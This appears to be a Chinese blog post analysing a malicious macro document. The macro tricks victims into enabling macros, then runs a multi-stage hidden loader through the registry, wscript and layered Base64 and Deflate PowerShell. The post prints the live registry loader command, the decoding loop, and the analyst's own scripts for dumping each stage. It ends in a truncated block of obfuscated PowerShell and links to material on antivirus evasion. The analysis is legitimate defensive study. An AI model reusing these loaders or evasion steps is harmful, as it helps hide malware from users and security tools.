通过恶意宏开启多阶段高隐藏攻击链
拥有历史传承的社工手法😁
文档打开后会通过模糊图片和文字欺骗受害者启用宏。宏代码运行后会弹出虚假的提示,表示“由于版本不兼容所以无法查看文档。”等:
污水这个显示效果和文字内容已经使用很久了:
宏
入口
从宏代码的入口就可以发现这个攻击链有一些特殊,并不是所有代码都放在默认的位置一次性执行。先从入口的“Document_Open()”函数执行“UserForm2.Gladiator_CRK”,即控件“UserForm2”的“Gladiator_CRK”函数:
UserForm2.Gladiator_CRK
宏代码经过大量的编码转换,混淆,赋值替换处理:
看到这里,我已经眼皮一跳,这明显就是困难模式的前奏了。
运行后会在已有的控件UserForm1里面写入还原出的代码并执行:
UserForm1
这部分代码里主要有两大部分内容,一部分存放了Base64编码处理的数据:
还有一部分是执行数据方式的代码:
最后通过注册表写入的操作,用来调用上面的代码,执行落地的数据:
注册表
注册表"HKEY_CURRENT_USER\Software\Classes\CLSID{769f9427-3cc6-4b62-be14-2a705115b7ab}\Shell\Manage\command"内创建了一个二进制字符串项,写入了大量的数据:
c:\windows\system32\wscript.exe /E:vbs c:\windows\temp\icon.ico "powershell -exec bypass -c ""IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFhYPUlFWCgoJ1snICsgW2NoYXJdMHg1MyArICd5c3RlbS5UZXh0LkVuYycgKyBbY2hhcl0weDZmICsgJ2RpbmddOjpBJyArIFtjaGFyXTB4NTMgKyAnQ0lJLkdldCcgKyBbY2hhcl0weDUzICsgJ3RyaW5nKFsnICsgW2NoYXJdMHg1MyArICd5c3RlbS5DJyArIFtjaGFyXTB4NmYgKyAnbnZlcnRdOjpGcicgKyBbY2hhcl0weDZmICsgJ21CYXNlNicgKyBbY2hhcl0weDM0ICsgJycgKyBbY2hhcl0weDUzICsgJ3RyaW5nKChnZXQtYycgKyBbY2hhcl0weDZmICsgJ250ZW50IC1wYXRoICcnYzpcd2luZCcgKyBbY2hhcl0weDZmICsgJ3dzXHRlbXBccGljdHVyZS5qcGcnJykpKScpKTskQkI9SUVYKCgnc3RhcnQtc2xlZXAgMTA7JHM9JFhYOyRkID0gQCgpOyR2ID0gMDskYyA9IDA7d2hpbGUoJGMgLW5lICRzLmxlbmd0aCl7JHY9KCR2KjUyKSsoW0ludDMyXVtjaGFyXSRzWyRjXS0nICsgW2NoYXJdMHgzNCArICcwKTtpZigoKCRjKzEpJTMpIC1lcSAwKXt3aGlsZSgkdiAtbmUgMCl7JHZ2PSR2JTI1NjtpZigkdnYgLWd0IDApeyRkKz1bY2hhcl1bSW50MzJdJHZ2fSR2PVtJbnQzMl0oJHYvMjU2KX19JGMrPTE7fTtbYXJyYXldOjpSZXZlcnNlKCRkKTtJRVgoWycgKyBbY2hhcl0weDUzICsgJ3RyaW5nXTo6SicgKyBbY2hhcl0weDZmICsgJ2luKCcnJycsJGQpKTs7JykpO0lFWCgkQkIp')))"""
其中“c:\windows\temp\icon.ico”的内容比较简单,为以隐藏方式执行参数:
CreateObject("Wscript.Shell").Run WScript.Arguments(0), 0, False
开头以wscript.exe(微软Microsoft Windows操作系统脚本相关支持程序)/E:vbs运行“icon.ico”内的数据。间接运行PowerShell,然后传入PowerShell所需执行的代码,这部分比较复杂:
1:调用“FromBase64String”Base64解码;
2:使用“ASCIIEncoding.GetString”方法解开十六进制转ASCII码的混淆。
解出来的代码内容为读取“%temp%\picture.jpg”的数据,进行和上面一样先Base64解码再将数字转ASCII码的处理,然后传入While循环进行处理:
PowerShell
第一层PowerShell
$XX=IEX(('[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((get-content -path ''c:\windows\temp\picture.jpg'')))'));
$BB=IEX
(
('
start-sleep 10;
$s=$XX;
$d = @();
$v = 0;
$c = 0;
while($c -ne $s.length)
{
$v=($v*52)+([Int32][char]$s[$c]-40);
if((($c+1)%3) -eq 0)
{
while($v -ne 0)
{
$vv=$v%256;
if($vv -gt 0)
{
$d+=[char][Int32]$vv
}
$v=[Int32]($v/256)
}
}
$c+=1;
};
[array]::Reverse($d);
IEX([String]::Join('''',$d));;
')
);
IEX($BB)
原本考虑写脚本,后面突然想到,可以将要运行的参数$BB输出!🤦♀️
第二层PowerShell
把代码改成这样,就可以将需要执行的参数,输出:
#获取“picture.jpg”
$XX=IEX(('[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((get-content -path ''c:\windows\temp\picture.jpg'')))'));
#保存$XX
$XX > XX.txt
#原:将$XX进行各种运算保存为$BB,执行
#改为:将$XX进行各种运算保存为$BB,输出
$BB=IEX
(
('
$s=$XX;
$d = @();
$v = 0;
$c = 0;
while($c -ne $s.length)
{
$v=($v*52)+([Int32][char]$s[$c]-40);
if((($c+1)%3) -eq 0)
{
while($v -ne 0)
{
$vv=$v%256;
if($vv -gt 0)
{
$d+=[char][Int32]$vv
}
$v=[Int32]($v/256)
}
}
$c+=1;
};
[array]::Reverse($d);
#IEX([String]::Join('''',$d));;
#去掉“IEX”不执行
[String]::Join('''',$d);;
')
);
$BB > B.txt
或者使用out-file
也行。
“picture.jpg”
CSDN有字数上线诶,数据放不了那么多
我放语雀了,其实不重要
打印出的$BB为:
iex $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('(Base64数据)')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
除了Base64的编码外,头部为:
iex $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String
层层剥离,逻辑为:
- Base64解码:[Convert]::FromBase64String
- 以内存流的方式保存Base64解码的数据:$(New-Object IO.MemoryStream
- 解压内存流:$(New-Object IO.Compression.DeflateStream——到这一步时,我通过搜索,发现是算比较常见的PowerShell免杀方式
3.1 《长小亭 - 对PowerShell免杀脚本的分析》
3.2 《九八二一 - 关于Powershell免杀的探索》
3.3 【建议】《CS-Powershell免杀-过卡巴等杀软上线》 - 读取解压的内存流执行:iex $(New-Object IO.StreamReader
第三层PowerShell
把上面的$BB执行结果使用out-file
输出:
(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('(Base64数据)')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd() | out-file outB.txt;
或者运行脚本使用>
将脚本结果重定向输出:
.\B.ps1 > outB.txt
B.ps1脚本
(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String('(Base64数据)')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
得到:
sET WL0U3 ( [TyPE]("{1}{0}" -F'egEx','r') ) ; ( -joiN (gEt-VAriAbLe Wl0u3 -vAl )::("{1}{2}{0}" -f'ES','Ma','tch').Invoke( ")'X'+]43[EMohsP$+]12[EMohsp$ ( .| )63]RAhC[,)221]RAhC[+65]RAhC[+87]RAhC[(eCalpER-43]RAhC[,'mPG' eCalpER-93]RAhC[,)57]RAhC[+38]RAhC[+45]RAhC[+401]RAhC[( eCalpER- )'
) )69]rAHc[]GNiRTs[,)311]rAHc[+011]rAHc[+56]rAHc[((ECAlpEr.)93]rAHc[]GNiRTs[,KS6hKVyKS6h(ECAlpEr.)KS6hz8NKS6h,)021]rAHc[+57]rAHc[+25]rAHc[((ECAlpEr.))KS6hhSBN;
}
ECiztT+wUd,wUdvubGvu,GvuLeGvu) (weg{1}{0}weg-fGqh+GqhGvuGGvu,GvuUnGvu) ( weg ) )GvuR9YGvu,Gvue7NGvu(ECAlPER.)63]RA0Dk+0Dkhc[]gNiRTS[,GvuV1WGvu(ECAlPER.)43]RAhSO4,SO4Gqh+Gqh3wp,dwp6pzq.Length -gt 0){
f7x+f7OKP+Bt3+Bt3OKPxhdyDv,yDvhRV
} catch {
f7x+f7x hRV+hRVdGRU,GRU functiOKP+OKPhRV+hf7x+f7xRVon OKNfx,Nfx.( LatPsHoME[4]+LatPShOMe[34]+ilZXilZ) (((ilZ seT-KS6h,KS6haA,jaAt{1}{0}qjt -Fp9DiNgp9D,p9DStrp9D) ) ; &(qjt{0}{1}qjt -f p9Dsep9D,p9Dtp9D) (qjt{1}{0}qjt -f p9Dfjt+fjtkp9D,p9DBOZqp9D) ( qjt )p9Dxp9D+]5[CIlbUp:VneiXY+]31[CILBuP:vnEiXY (. Lwy )43]RAhC[,)121]RAhC[+35]RAhC[+211]RAhC[( eCaLpeRc- 421]RAhC[,p9DGi9p9DeCaLpeRc-93]RAhC[,)35]RAhC[+801]RAhC[+411]RAhC[(eCaLpeilZ+ilZRc- )p9D
)5lr5lrNIoJ-]2,11,3[Eman.)5lr*rdm*5lr Vg((. Gi9)93]rahC[]GNiRTs[,)17]rahC[+311]rahC[+401v8C+v8C]rahC[((EcALpER.)421]rahC[]GNiRTs[,5lrNqd5lr(EcAwUd,wUd}{11}{20}{7}{28}{1}{2Ri+2RJl4+Jl4i0}{4}{18}{9}{5}{19}{p9D+p9D14}{17}{22}{21}{15}{2}{16}{27}{6}{8}{26}{10}{13}{3}{24}{25}{12}j3N-f WNLg
Lo6qngn = PbzcerffPbqr(Lo6qngnf7x+f7x)hRV1nR,1nRredentials = dwp,dwpN0JykpOKP+OKPDQoJew0KCQkkZOKP+OKPSf7x+f7x5OKP+OKPDb21tYW5kU2Nydwp,dwpgU3lzdGVtLklPLkNvbXdv8C+v8Cwp,dwp OKP+OKP }
v8C+v8C caf7x+f7xtch{
OJl4+Jl4KP+OKP return Lo6_.Exception.Mesf7x+f7xsage
}
}
funcGRU,GRUyr = [System.S3Yp+3Ypecurf7x+f7xity.dwp0ni,0nJInJ50+nJ50v,JIvKP+OKPxAr]5fN3w+N3w7x+f7x7+[CHAr]74),[CHArf7x+f7x]96OKP+OKP-reP